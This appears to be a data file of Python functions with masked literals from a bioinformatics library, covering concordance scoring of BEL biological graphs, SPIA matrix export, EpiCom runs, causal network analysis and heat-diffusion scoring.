{"signature": "def edge_concords(graph, u, v, k, d, key, cutoff: Optional[float] = None) -> Concordance:", "body": "if key not in graph.nodes[u] or key not in graph.nodes[v]:<EOL><INDENT>return Concordance.unassigned<EOL><DEDENT>relation = d[RELATION]<EOL>if relation not in (UP | DOWN | {CAUSES_NO_CHANGE}):<EOL><INDENT>return Concordance.unassigned<EOL><DEDENT>source_regulation = get_cutoff(graph.nodes[u][key], cutoff=cutoff)<EOL>target_regulation = get_cutoff(graph.nodes[v][key], cutoff=cutoff)<EOL>if source_regulation == <NUM_LIT:1>:<EOL><INDENT>if target_regulation == <NUM_LIT:1> and relation in UP:<EOL><INDENT>return Concordance.correct<EOL><DEDENT>elif target_regulation == <NUM_LIT:1> and relation in DOWN:<EOL><INDENT>return Concordance.incorrect<EOL><DEDENT>elif target_regulation == -<NUM_LIT:1> and relation in UP:<EOL><INDENT>return Concordance.incorrect<EOL><DEDENT>elif target_regulation == -<NUM_LIT:1> and relation in DOWN:<EOL><INDENT>return Concordance.correct<EOL><DEDENT>elif target_regulation == <NUM_LIT:0> and relation in (DOWN | UP):<EOL><INDENT>return Concordance.incorrect<EOL><DEDENT>elif target_regulation == <NUM_LIT:0> and relation == CAUSES_NO_CHANGE:<EOL><INDENT>return Concordance.correct<EOL><DEDENT>elif target_regulation in {<NUM_LIT:1>, -<NUM_LIT:1>} and relation == CAUSES_NO_CHANGE:<EOL><INDENT>return Concordance.incorrect<EOL><DEDENT>else:<EOL><INDENT>log.warning('<STR_LIT>', u, source_regulation, relation, v, target_regulation)<EOL>return Concordance.ambiguous<EOL><DEDENT><DEDENT>elif source_regulation == -<NUM_LIT:1>:<EOL><INDENT>if target_regulation == <NUM_LIT:1> and relation in UP:<EOL><INDENT>return Concordance.incorrect<EOL><DEDENT>elif target_regulation == <NUM_LIT:1> and relation in DOWN:<EOL><INDENT>return Concordance.correct<EOL><DEDENT>elif target_regulation == -<NUM_LIT:1> and relation in UP:<EOL><INDENT>return Concordance.correct<EOL><DEDENT>elif target_regulation == -<NUM_LIT:1> and relation in DOWN:<EOL><INDENT>return Concordance.incorrect<EOL><DEDENT>elif target_regulation == <NUM_LIT:0> and relation in (DOWN | UP):<EOL><INDENT>return Concordance.incorrect<EOL><DEDENT>elif target_regulation == <NUM_LIT:0> and relation == CAUSES_NO_CHANGE:<EOL><INDENT>return Concordance.correct<EOL><DEDENT>elif target_regulation in {<NUM_LIT:1>, -<NUM_LIT:1>} and relation == CAUSES_NO_CHANGE:<EOL><INDENT>return Concordance.incorrect<EOL><DEDENT>else:<EOL><INDENT>log.warning('<STR_LIT>', u, source_regulation, relation, v, target_regulation)<EOL>return Concordance.ambiguous<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>if target_regulation == <NUM_LIT:0> and relation == CAUSES_NO_CHANGE:<EOL><INDENT>return Concordance.correct<EOL><DEDENT>return Concordance.ambiguous<EOL><DEDENT>", "docstring": ":param pybel.BELGraph graph: A BEL graph\n:param u:\n:param v:\n:param k:\n:param d:\n:param str key: The node data dictionary key storing the logFC\n:param float cutoff: The optional logFC cutoff for significance\n:rtype: Concordance", "id": "f9416:m1"}
{"signature": "def calculate_concordance_helper(graph: BELGraph,<EOL>key: str,<EOL>cutoff: Optional[float] = None,<EOL>) -> Tuple[int, int, int, int]:", "body": "scores = defaultdict(int)<EOL>for u, v, k, d in graph.edges(keys=True, data=True):<EOL><INDENT>c = edge_concords(graph, u, v, k, d, key, cutoff=cutoff)<EOL>scores[c] += <NUM_LIT:1><EOL><DEDENT>return (<EOL>scores[Concordance.correct],<EOL>scores[Concordance.incorrect],<EOL>scores[Concordance.ambiguous],<EOL>scores[Concordance.unassigned],<EOL>)<EOL>", "docstring": "Help calculate network-wide concordance\n\n    Assumes data already annotated with given key\n\n    :param graph: A BEL graph\n    :param key: The node data dictionary key storing the logFC\n    :param cutoff: The optional logFC cutoff for significance", "id": "f9416:m2"}
{"signature": "def calculate_concordance(graph: BELGraph, key: str, cutoff: Optional[float] = None,<EOL>use_ambiguous: bool = False) -> float:", "body": "correct, incorrect, ambiguous, _ = calculate_concordance_helper(graph, key, cutoff=cutoff)<EOL>try:<EOL><INDENT>return correct / (correct + incorrect + (ambiguous if use_ambiguous else <NUM_LIT:0>))<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>return -<NUM_LIT:1.0><EOL><DEDENT>", "docstring": "Calculates network-wide concordance.\n\n    Assumes data already annotated with given key\n\n    :param graph: A BEL graph\n    :param key: The node data dictionary key storing the logFC\n    :param cutoff: The optional logFC cutoff for significance\n    :param use_ambiguous: Compare to ambiguous edges as well", "id": "f9416:m3"}
{"signature": "def one_sided(value: float, distribution: List[float]) -> float:", "body": "assert distribution<EOL>return sum(value < element for element in distribution) / len(distribution)<EOL>", "docstring": "Calculate the one-sided probability of getting a value more extreme than the distribution.", "id": "f9416:m4"}
{"signature": "def calculate_concordance_probability(graph: BELGraph,<EOL>key: str,<EOL>cutoff: Optional[float] = None,<EOL>permutations: Optional[int] = None,<EOL>percentage: Optional[float] = None,<EOL>use_ambiguous: bool = False,<EOL>permute_type: str = '<STR_LIT>',<EOL>) -> Tuple[float, List[float], float]:", "body": "if permute_type == '<STR_LIT>':<EOL><INDENT>permute_func = partial(random_by_edges, percentage=percentage)<EOL><DEDENT>elif permute_type == '<STR_LIT>':<EOL><INDENT>permute_func = partial(shuffle_node_data, key=key, percentage=percentage)<EOL><DEDENT>elif permute_type == '<STR_LIT>':<EOL><INDENT>permute_func = partial(shuffle_relations, percentage=percentage)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(permute_type))<EOL><DEDENT>graph: BELGraph = graph.copy()<EOL>collapse_to_genes(graph)<EOL>collapse_all_variants(graph)<EOL>score = calculate_concordance(graph, key, cutoff=cutoff)<EOL>distribution = []<EOL>for _ in range(permutations or <NUM_LIT>):<EOL><INDENT>permuted_graph = permute_func(graph)<EOL>permuted_graph_scores = calculate_concordance(permuted_graph, key, cutoff=cutoff, use_ambiguous=use_ambiguous)<EOL>distribution.append(permuted_graph_scores)<EOL><DEDENT>return score, distribution, one_sided(score, distribution)<EOL>", "docstring": "Calculates a graph's concordance as well as its statistical probability.\n\n\n\n    :param graph: A BEL graph\n    :param str key: The node data dictionary key storing the logFC\n    :param float cutoff: The optional logFC cutoff for significance\n    :param int permutations: The number of random permutations to test. Defaults to 500\n    :param float percentage: The percentage of the graph's edges to maintain. Defaults to 0.9\n    :param bool use_ambiguous: Compare to ambiguous edges as well\n    :returns: A triple of the concordance score, the null distribution, and the p-value.", "id": "f9416:m5"}
{"signature": "def calculate_concordance_by_annotation(graph, annotation, key, cutoff=None):", "body": "return {<EOL>value: calculate_concordance(subgraph, key, cutoff=cutoff)<EOL>for value, subgraph in get_subgraphs_by_annotation(graph, annotation).items()<EOL>}<EOL>", "docstring": "Returns the concordance scores for each stratified graph based on the given annotation\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param str annotation: The annotation to group by.\n    :param str key: The node data dictionary key storing the logFC\n    :param float cutoff: The optional logFC cutoff for significance\n    :rtype: dict[str,tuple]", "id": "f9416:m6"}
{"signature": "def calculate_concordance_probability_by_annotation(graph, annotation, key, cutoff=None, permutations=None,<EOL>percentage=None,<EOL>use_ambiguous=False):", "body": "result = [<EOL>(value, calculate_concordance_probability(<EOL>subgraph,<EOL>key,<EOL>cutoff=cutoff,<EOL>permutations=permutations,<EOL>percentage=percentage,<EOL>use_ambiguous=use_ambiguous,<EOL>))<EOL>for value, subgraph in get_subgraphs_by_annotation(graph, annotation).items()<EOL>]<EOL>return dict(result)<EOL>", "docstring": "Returns the results of concordance analysis on each subgraph, stratified by the given annotation.\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param str annotation: The annotation to group by.\n    :param str key: The node data dictionary key storing the logFC\n    :param float cutoff: The optional logFC cutoff for significance\n    :param int permutations: The number of random permutations to test. Defaults to 500\n    :param float percentage: The percentage of the graph's edges to maintain. Defaults to 0.9\n    :param bool use_ambiguous: Compare to ambiguous edges as well\n    :rtype: dict[str,tuple]", "id": "f9416:m7"}
{"signature": "def bel_to_spia_matrices(graph: BELGraph) -> Mapping[str, pd.DataFrame]:", "body": "index_nodes = get_matrix_index(graph)<EOL>spia_matrices = build_spia_matrices(index_nodes)<EOL>for u, v, edge_data in graph.edges(data=True):<EOL><INDENT>if isinstance(u, CentralDogma) and isinstance(v, CentralDogma):<EOL><INDENT>update_spia_matrices(spia_matrices, u, v, edge_data)<EOL><DEDENT>elif isinstance(u, CentralDogma) and isinstance(v, ListAbundance):<EOL><INDENT>for node in v.members:<EOL><INDENT>if not isinstance(node, CentralDogma):<EOL><INDENT>continue<EOL><DEDENT>update_spia_matrices(spia_matrices, u, node, edge_data)<EOL><DEDENT><DEDENT>elif isinstance(u, ListAbundance) and isinstance(v, CentralDogma):<EOL><INDENT>for node in u.members:<EOL><INDENT>if not isinstance(node, CentralDogma):<EOL><INDENT>continue<EOL><DEDENT>update_spia_matrices(spia_matrices, node, v, edge_data)<EOL><DEDENT><DEDENT>elif isinstance(u, ListAbundance) and isinstance(v, ListAbundance):<EOL><INDENT>for sub_member, obj_member in product(u.members, v.members):<EOL><INDENT>if isinstance(sub_member, CentralDogma) and isinstance(obj_member, CentralDogma):<EOL><INDENT>update_spia_matrices(spia_matrices, sub_member, obj_member, edge_data)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return spia_matrices<EOL>", "docstring": "Create an excel sheet ready to be used in SPIA software.\n\n    :param graph: BELGraph\n    :return: dictionary with matrices", "id": "f9417:m0"}
{"signature": "def get_matrix_index(graph: BELGraph) -> Set[str]:", "body": "<EOL>return {<EOL>node.name<EOL>for node in graph<EOL>if isinstance(node, CentralDogma) and node.namespace.upper() == '<STR_LIT>'<EOL>}<EOL>", "docstring": "Return set of HGNC names from Proteins/Rnas/Genes/miRNA, nodes that can be used by SPIA.", "id": "f9417:m1"}
{"signature": "def build_spia_matrices(nodes: Set[str]) -> Dict[str, pd.DataFrame]:", "body": "nodes = list(sorted(nodes))<EOL>matrices = OrderedDict()<EOL>for relation in KEGG_RELATIONS:<EOL><INDENT>matrices[relation] = pd.DataFrame(<NUM_LIT:0>, index=nodes, columns=nodes)<EOL><DEDENT>return matrices<EOL>", "docstring": "Build an adjacency matrix for each KEGG relationship and return in a dictionary.\n\n    :param nodes: A set of HGNC gene symbols\n    :return: Dictionary of adjacency matrix for each relationship", "id": "f9417:m2"}
{"signature": "def update_spia_matrices(spia_matrices: Dict[str, pd.DataFrame],<EOL>u: CentralDogma,<EOL>v: CentralDogma,<EOL>edge_data: EdgeData,<EOL>) -> None:", "body": "if u.namespace.upper() != '<STR_LIT>' or v.namespace.upper() != '<STR_LIT>':<EOL><INDENT>return<EOL><DEDENT>u_name = u.name<EOL>v_name = v.name<EOL>relation = edge_data[RELATION]<EOL>if relation in CAUSAL_INCREASE_RELATIONS:<EOL><INDENT>if v.variants and any(isinstance(variant, ProteinModification) for variant in v.variants):<EOL><INDENT>for variant in v.variants:<EOL><INDENT>if not isinstance(variant, ProteinModification):<EOL><INDENT>continue<EOL><DEDENT>if variant[IDENTIFIER][NAME] == \"<STR_LIT>\":<EOL><INDENT>spia_matrices[\"<STR_LIT>\"][u_name][v_name] = <NUM_LIT:1><EOL><DEDENT>elif variant[IDENTIFIER][NAME] == \"<STR_LIT>\":<EOL><INDENT>spia_matrices[\"<STR_LIT>\"][u_name][v_name] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>elif isinstance(v, (Gene, Rna)):  <EOL><INDENT>spia_matrices['<STR_LIT>'][u_name][v_name] = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>spia_matrices['<STR_LIT>'][u_name][v_name] = <NUM_LIT:1><EOL><DEDENT><DEDENT>elif relation in CAUSAL_DECREASE_RELATIONS:<EOL><INDENT>if v.variants and any(isinstance(variant, ProteinModification) for variant in v.variants):<EOL><INDENT>for variant in v.variants:<EOL><INDENT>if not isinstance(variant, ProteinModification):<EOL><INDENT>continue<EOL><DEDENT>if variant[IDENTIFIER][NAME] == \"<STR_LIT>\":<EOL><INDENT>spia_matrices['<STR_LIT>'][u_name][v_name] = <NUM_LIT:1><EOL><DEDENT>elif variant[IDENTIFIER][NAME] == \"<STR_LIT>\":<EOL><INDENT>spia_matrices[\"<STR_LIT>\"][u_name][v_name] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>elif isinstance(v, (Gene, Rna)):  <EOL><INDENT>spia_matrices[\"<STR_LIT>\"][u_name][v_name] = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>spia_matrices[\"<STR_LIT>\"][u_name][v_name] = <NUM_LIT:1><EOL><DEDENT><DEDENT>elif relation == ASSOCIATION:<EOL><INDENT>spia_matrices[\"<STR_LIT>\"][u_name][v_name] = <NUM_LIT:1><EOL><DEDENT>", "docstring": "Populate the adjacency matrix.", "id": "f9417:m3"}
{"signature": "def spia_matrices_to_excel(spia_matrices: Mapping[str, pd.DataFrame], path: str) -> None:", "body": "writer = pd.ExcelWriter(path, engine='<STR_LIT>')<EOL>for relation, df in spia_matrices.items():<EOL><INDENT>df.to_excel(writer, sheet_name=relation, index=False)<EOL><DEDENT>writer.save()<EOL>", "docstring": "Export a SPIA data dictionary into an Excel sheet at the given path.\n\n    .. note::\n\n        # The R import should add the values:\n        # [\"nodes\"] from the columns\n        # [\"title\"] from the name of the file\n        # [\"NumberOfReactions\"] set to \"0\"", "id": "f9417:m4"}
{"signature": "def spia_matrices_to_tsvs(spia_matrices: Mapping[str, pd.DataFrame], directory: str) -> None:", "body": "os.makedirs(directory, exist_ok=True)<EOL>for relation, df in spia_matrices.items():<EOL><INDENT>df.to_csv(os.path.join(directory, f'<STR_LIT>'), index=True)<EOL><DEDENT>", "docstring": "Export a SPIA data dictionary into a directory as several TSV documents.", "id": "f9417:m5"}
{"signature": "@click.command()<EOL>@graph_pickle_argument<EOL>@click.option('<STR_LIT>', type=click.Path(file_okay=True, dir_okay=False))<EOL>@click.option('<STR_LIT>', type=click.Path(file_okay=False, dir_okay=True))<EOL>def main(graph: BELGraph, xlsx: str, tsvs: str):", "body": "if not xlsx and not tsvs:<EOL><INDENT>click.secho('<STR_LIT>', fg='<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>spia_matrices = bel_to_spia_matrices(graph)<EOL>if xlsx:<EOL><INDENT>spia_matrices_to_excel(spia_matrices, xlsx)<EOL><DEDENT>if tsvs:<EOL><INDENT>spia_matrices_to_tsvs(spia_matrices, tsvs)<EOL><DEDENT>", "docstring": "Export the graph to a SPIA Excel sheet.", "id": "f9417:m6"}
{"signature": "def _get_drug_target_interactions(manager: Optional['<STR_LIT>'] = None) -> Mapping[str, List[str]]:", "body": "if manager is None:<EOL><INDENT>import bio2bel_drugbank<EOL>manager = bio2bel_drugbank.Manager()<EOL><DEDENT>if not manager.is_populated():<EOL><INDENT>manager.populate()<EOL><DEDENT>return manager.get_drug_to_hgnc_symbols()<EOL>", "docstring": "Get a mapping from drugs to their list of gene.", "id": "f9418:m0"}
{"signature": "def multi_run_epicom(graphs: Iterable[BELGraph], path: Union[None, str, TextIO]) -> None:", "body": "if isinstance(path, str):<EOL><INDENT>with open(path, '<STR_LIT:w>') as file:<EOL><INDENT>_multi_run_helper_file_wrapper(graphs, file)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>_multi_run_helper_file_wrapper(graphs, path)<EOL><DEDENT>", "docstring": "Run EpiCom analysis on many graphs.", "id": "f9418:m5"}
{"signature": "@click.group()<EOL>def main():", "body": "", "docstring": "Run EpiCom Reloaded.", "id": "f9419:m0"}
{"signature": "@main.command()<EOL>@graph_pickle_argument<EOL>@directory_option<EOL>def run(graph, directory):", "body": "run_epicom(graph, directory)<EOL>", "docstring": "Run on an arbitrary graph.", "id": "f9419:m1"}
{"signature": "@main.command()<EOL>@directory_option<EOL>def ad(directory):", "body": "graph = get_ad_graph()<EOL>run_epicom(graph, directory)<EOL>", "docstring": "Run on the AD graph.", "id": "f9419:m2"}
{"signature": "@main.command()<EOL>@directory_option<EOL>def pd(directory):", "body": "graph = get_pd_graph()<EOL>run_epicom(graph, directory)<EOL>", "docstring": "Run on the PD graph.", "id": "f9419:m3"}
{"signature": "@main.command()<EOL>@directory_option<EOL>def ep(directory):", "body": "graph = get_ep_graph()<EOL>run_epicom(graph, directory)<EOL>", "docstring": "Run on the Epilepsy graph.", "id": "f9419:m4"}
{"signature": "@main.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:w>'), default=sys.stdout)<EOL>def multi(output):", "body": "graphs = [<EOL>get_ad_graph(),<EOL>get_ep_graph(),<EOL>get_pd_graph(),<EOL>]<EOL>multi_run_epicom(graphs, output)<EOL>", "docstring": "Run on all graphs.", "id": "f9419:m5"}
{"signature": "def get_networks_using_annotation(manager: pybel.Manager, annotation: str):", "body": "raise NotImplementedError<EOL>", "docstring": ":param pybel.manager.Manager manager:\n:param str annotation:\n:return: list[pybel.manager.models.Network]", "id": "f9420:m0"}
{"signature": "def get_drug_model(manager: pybel.Manager, name: str):", "body": "raise NotImplementedError<EOL>", "docstring": ":param pybel.manager.Manager manager:\n:param str name:\n:return: pybel.manager.models.NamespaceEntry", "id": "f9420:m1"}
{"signature": "def build_database(manager: pybel.Manager, annotation_url: Optional[str] = None) -> None:", "body": "annotation_url = annotation_url or NEUROMMSIG_DEFAULT_URL<EOL>annotation = manager.get_namespace_by_url(annotation_url)<EOL>if annotation is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>networks = get_networks_using_annotation(manager, annotation)<EOL>dtis = ...<EOL>for network in networks:<EOL><INDENT>graph = network.as_bel()<EOL>scores = epicom_on_graph(graph, dtis)<EOL>for (drug_name, subgraph_name), score in scores.items():<EOL><INDENT>drug_model = get_drug_model(manager, drug_name)<EOL>subgraph_model = manager.get_annotation_entry(annotation_url, subgraph_name)<EOL>score_model = Score(<EOL>network=network,<EOL>annotation=subgraph_model,<EOL>drug=drug_model,<EOL>score=score<EOL>)<EOL>manager.session.add(score_model)<EOL><DEDENT><DEDENT>t = time.time()<EOL>logger.info('<STR_LIT>')<EOL>manager.session.commit()<EOL>logger.info('<STR_LIT>', time.time() - t)<EOL>", "docstring": "Build a database of scores for NeuroMMSig annotated graphs.\n\n    1. Get all networks that use the Subgraph annotation\n    2. run on each", "id": "f9420:m2"}
{"signature": "def get_random_walk_spanning_tree(graph):", "body": "raise NotImplementedError<EOL>", "docstring": "Generates a spanning tree from the directed graph using the random walk approach proposed independently by\n    by Broder (1989) and Aldous (1990). It simply generates random walks until all nodes have been covered.\n\n    Algorithm:\n\n    1. Choose a starting vertex s arbitrarily. Set T_V \u2190 {s} and T_E \u2190 \u2205.\n    2. Do a simple random walk starting at s. Whenever we cross an edge e = {u, v} with v \u2208 V ,\n        add v to TV and add e to TE.\n    3. Stop the random walk when TV = V . Output T = (T_V , T_E) as our spanning tree\n\n    :param networkx.DiGraph graph: The input graph\n    :rtype: networkx.DiGraph\n\n    .. seealso::\n\n        - https://math.dartmouth.edu/~pw/math100w13/kothari.pdf\n        - http://keyulux.com/pdf/spanning_tree.pdf", "id": "f9424:m0"}
{"signature": "def rank_causalr_hypothesis(graph, node_to_regulation, regulator_node):", "body": "upregulation_hypothesis = {<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0><EOL>}<EOL>downregulation_hypothesis = {<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0><EOL>}<EOL>targets = [<EOL>node<EOL>for node in node_to_regulation<EOL>if node != regulator_node<EOL>]<EOL>predicted_regulations = run_cna(graph, regulator_node, targets)  <EOL>for _, target_node, predicted_regulation in predicted_regulations:<EOL><INDENT>if (predicted_regulation is Effect.inhibition or predicted_regulation is Effect.activation) and (<EOL>predicted_regulation.value == node_to_regulation[target_node]):<EOL><INDENT>upregulation_hypothesis['<STR_LIT>'] += <NUM_LIT:1><EOL>downregulation_hypothesis['<STR_LIT>'] += <NUM_LIT:1><EOL><DEDENT>elif predicted_regulation is Effect.ambiguous:<EOL><INDENT>upregulation_hypothesis['<STR_LIT>'] += <NUM_LIT:1><EOL>downregulation_hypothesis['<STR_LIT>'] += <NUM_LIT:1><EOL><DEDENT>elif predicted_regulation is Effect.no_effect:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>downregulation_hypothesis['<STR_LIT>'] += <NUM_LIT:1><EOL>upregulation_hypothesis['<STR_LIT>'] += <NUM_LIT:1><EOL><DEDENT><DEDENT>upregulation_hypothesis['<STR_LIT>'] = upregulation_hypothesis['<STR_LIT>'] - upregulation_hypothesis['<STR_LIT>']<EOL>downregulation_hypothesis['<STR_LIT>'] = downregulation_hypothesis['<STR_LIT>'] - downregulation_hypothesis['<STR_LIT>']<EOL>return upregulation_hypothesis, downregulation_hypothesis<EOL>", "docstring": "Test the regulator hypothesis of the given node on the input data using the algorithm.\n\n    Note: this method returns both +/- signed hypotheses evaluated\n\n    Algorithm:\n\n    1. Calculate the shortest path between the regulator node and each node in observed_regulation\n    2. Calculate the concordance of the causal network and the observed regulation when there is path\n       between target node and regulator node\n\n    :param networkx.DiGraph graph: A causal graph\n    :param dict node_to_regulation: Nodes to score (1,-1,0)\n    :return Dictionaries with hypothesis results (keys: score, correct, incorrect, ambiguous)\n    :rtype: dict", "id": "f9426:m0"}
{"signature": "def run_cna(graph, root, targets, relationship_dict=None):", "body": "causal_effects = []<EOL>relationship_dict = causal_effect_dict if relationship_dict is None else relationship_dict<EOL>for target in targets:<EOL><INDENT>try:<EOL><INDENT>shortest_paths = nx.all_shortest_paths(graph, source=root, target=target)<EOL>effects_in_path = set()<EOL>for shortest_path in shortest_paths:<EOL><INDENT>effects_in_path.add(get_path_effect(graph, shortest_path, relationship_dict))<EOL><DEDENT>if len(effects_in_path) == <NUM_LIT:1>:<EOL><INDENT>causal_effects.append((root, target, next(iter(effects_in_path))))  <EOL><DEDENT>elif Effect.activation in effects_in_path and Effect.inhibition in effects_in_path:<EOL><INDENT>causal_effects.append((root, target, Effect.ambiguous))<EOL><DEDENT>elif Effect.activation in effects_in_path and Effect.inhibition not in effects_in_path:<EOL><INDENT>causal_effects.append((root, target, Effect.activation))<EOL><DEDENT>elif Effect.inhibition in effects_in_path and Effect.activation not in effects_in_path:<EOL><INDENT>causal_effects.append((root, target, Effect.inhibition))<EOL><DEDENT>else:<EOL><INDENT>log.warning('<STR_LIT>'.format(effects_in_path))<EOL><DEDENT><DEDENT>except nx.NetworkXNoPath:<EOL><INDENT>log.warning('<STR_LIT>'.format(root, target))<EOL><DEDENT><DEDENT>return causal_effects<EOL>", "docstring": "Returns the effect from the root to the target nodes represented as {-1,1}\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param BaseEntity root: The root node\n    :param iter targets: The targets nodes\n    :param dict relationship_dict: dictionary with relationship effects\n    :return list[tuple]:", "id": "f9426:m1"}
{"signature": "def get_path_effect(graph, path, relationship_dict):", "body": "causal_effect = []<EOL>for predecessor, successor in pairwise(path):<EOL><INDENT>if pair_has_contradiction(graph, predecessor, successor):<EOL><INDENT>return Effect.ambiguous<EOL><DEDENT>edges = graph.get_edge_data(predecessor, successor)<EOL>edge_key, edge_relation, _ = rank_edges(edges)<EOL>relation = graph[predecessor][successor][edge_key][RELATION]<EOL>if relation not in relationship_dict or relationship_dict[relation] == <NUM_LIT:0>:<EOL><INDENT>return Effect.no_effect<EOL><DEDENT>causal_effect.append(relationship_dict[relation])<EOL><DEDENT>final_effect = reduce(lambda x, y: x * y, causal_effect)<EOL>return Effect.activation if final_effect == <NUM_LIT:1> else Effect.inhibition<EOL>", "docstring": "Calculate the final effect of the root node to the sink node in the path.\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param list path: Path from root to sink node\n    :param dict relationship_dict: dictionary with relationship effects\n    :rtype: Effect", "id": "f9426:m2"}
{"signature": "def rank_edges(edges, edge_ranking=None):", "body": "edge_ranking = default_edge_ranking if edge_ranking is None else edge_ranking<EOL>edges_scores = [<EOL>(edge_id, edge_data[RELATION], edge_ranking[edge_data[RELATION]])<EOL>for edge_id, edge_data in edges.items()<EOL>]<EOL>return max(edges_scores, key=itemgetter(<NUM_LIT:2>))<EOL>", "docstring": "Return the highest ranked edge from a multiedge.\n\n    :param dict edges: dictionary with all edges between two nodes\n    :param dict edge_ranking: A dictionary of {relationship: score}\n    :return: Highest ranked edge\n    :rtype: tuple: (edge id, relation, score given ranking)", "id": "f9426:m3"}
{"signature": "def calculate_average_scores_on_graph(<EOL>graph: BELGraph,<EOL>key: Optional[str] = None,<EOL>tag: Optional[str] = None,<EOL>default_score: Optional[float] = None,<EOL>runs: Optional[int] = None,<EOL>use_tqdm: bool = False,<EOL>):", "body": "subgraphs = generate_bioprocess_mechanisms(graph, key=key)<EOL>scores = calculate_average_scores_on_subgraphs(<EOL>subgraphs,<EOL>key=key,<EOL>tag=tag,<EOL>default_score=default_score,<EOL>runs=runs,<EOL>use_tqdm=use_tqdm<EOL>)<EOL>return scores<EOL>", "docstring": "Calculate the scores over all biological processes in the sub-graph.\n\n    As an implementation, it simply computes the sub-graphs then calls :func:`calculate_average_scores_on_subgraphs` as\n    described in that function's documentation.\n\n    :param graph: A BEL graph with heats already on the nodes\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.\n    :param tag: The key for the nodes' data dictionaries where the scores will be put. Defaults to 'score'\n    :param default_score: The initial score for all nodes. This number can go up or down.\n    :param runs: The number of times to run the heat diffusion workflow. Defaults to 100.\n    :param use_tqdm: Should there be a progress bar for runners?\n    :return: A dictionary of {pybel node tuple: results tuple}\n    :rtype: dict[tuple, tuple]\n\n    Suggested usage with :mod:`pandas`:\n\n    >>> import pandas as pd\n    >>> from pybel_tools.analysis.heat import calculate_average_scores_on_graph\n    >>> graph = ...  # load graph and data\n    >>> scores = calculate_average_scores_on_graph(graph)\n    >>> pd.DataFrame.from_items(scores.items(), orient='index', columns=RESULT_LABELS)", "id": "f9429:m0"}
{"signature": "def calculate_average_scores_on_subgraphs(<EOL>subgraphs: Mapping[H, BELGraph],<EOL>key: Optional[str] = None,<EOL>tag: Optional[str] = None,<EOL>default_score: Optional[float] = None,<EOL>runs: Optional[int] = None,<EOL>use_tqdm: bool = False,<EOL>tqdm_kwargs: Optional[Mapping[str, Any]] = None,<EOL>) -> Mapping[H, Tuple[float, float, float, float, int, int]]:", "body": "results = {}<EOL>log.info('<STR_LIT>', len(subgraphs), runs)<EOL>it = subgraphs.items()<EOL>if use_tqdm:<EOL><INDENT>_tqdm_kwargs = dict(total=len(subgraphs), desc='<STR_LIT>')<EOL>if tqdm_kwargs:<EOL><INDENT>_tqdm_kwargs.update(tqdm_kwargs)<EOL><DEDENT>it = tqdm(it, **_tqdm_kwargs)<EOL><DEDENT>for node, subgraph in it:<EOL><INDENT>number_first_neighbors = subgraph.in_degree(node)<EOL>number_first_neighbors = <NUM_LIT:0> if isinstance(number_first_neighbors, dict) else number_first_neighbors<EOL>mechanism_size = subgraph.number_of_nodes()<EOL>runners = workflow(subgraph, node, key=key, tag=tag, default_score=default_score, runs=runs)<EOL>scores = [runner.get_final_score() for runner in runners]<EOL>if <NUM_LIT:0> == len(scores):<EOL><INDENT>results[node] = (<EOL>None,<EOL>None,<EOL>None,<EOL>None,<EOL>number_first_neighbors,<EOL>mechanism_size,<EOL>)<EOL>continue<EOL><DEDENT>scores = np.array(scores)<EOL>average_score = np.average(scores)<EOL>score_std = np.std(scores)<EOL>med_score = np.median(scores)<EOL>chi_2_stat, norm_p = stats.normaltest(scores)<EOL>results[node] = (<EOL>average_score,<EOL>score_std,<EOL>norm_p,<EOL>med_score,<EOL>number_first_neighbors,<EOL>mechanism_size,<EOL>)<EOL><DEDENT>return results<EOL>", "docstring": "Calculate the scores over precomputed candidate mechanisms.\n\n    :param subgraphs: A dictionary of keys to their corresponding subgraphs\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.\n    :param tag: The key for the nodes' data dictionaries where the scores will be put. Defaults to 'score'\n    :param default_score: The initial score for all nodes. This number can go up or down.\n    :param runs: The number of times to run the heat diffusion workflow. Defaults to 100.\n    :param use_tqdm: Should there be a progress bar for runners?\n    :return: A dictionary of keys to results tuples\n\n    Example Usage:\n\n    >>> import pandas as pd\n    >>> from pybel_tools.generation import generate_bioprocess_mechanisms\n    >>> from pybel_tools.analysis.heat import calculate_average_scores_on_subgraphs\n    >>> # load graph and data\n    >>> graph = ...\n    >>> candidate_mechanisms = generate_bioprocess_mechanisms(graph)\n    >>> scores = calculate_average_scores_on_subgraphs(candidate_mechanisms)\n    >>> pd.DataFrame.from_items(scores.items(), orient='index', columns=RESULT_LABELS)", "id": "f9429:m1"}
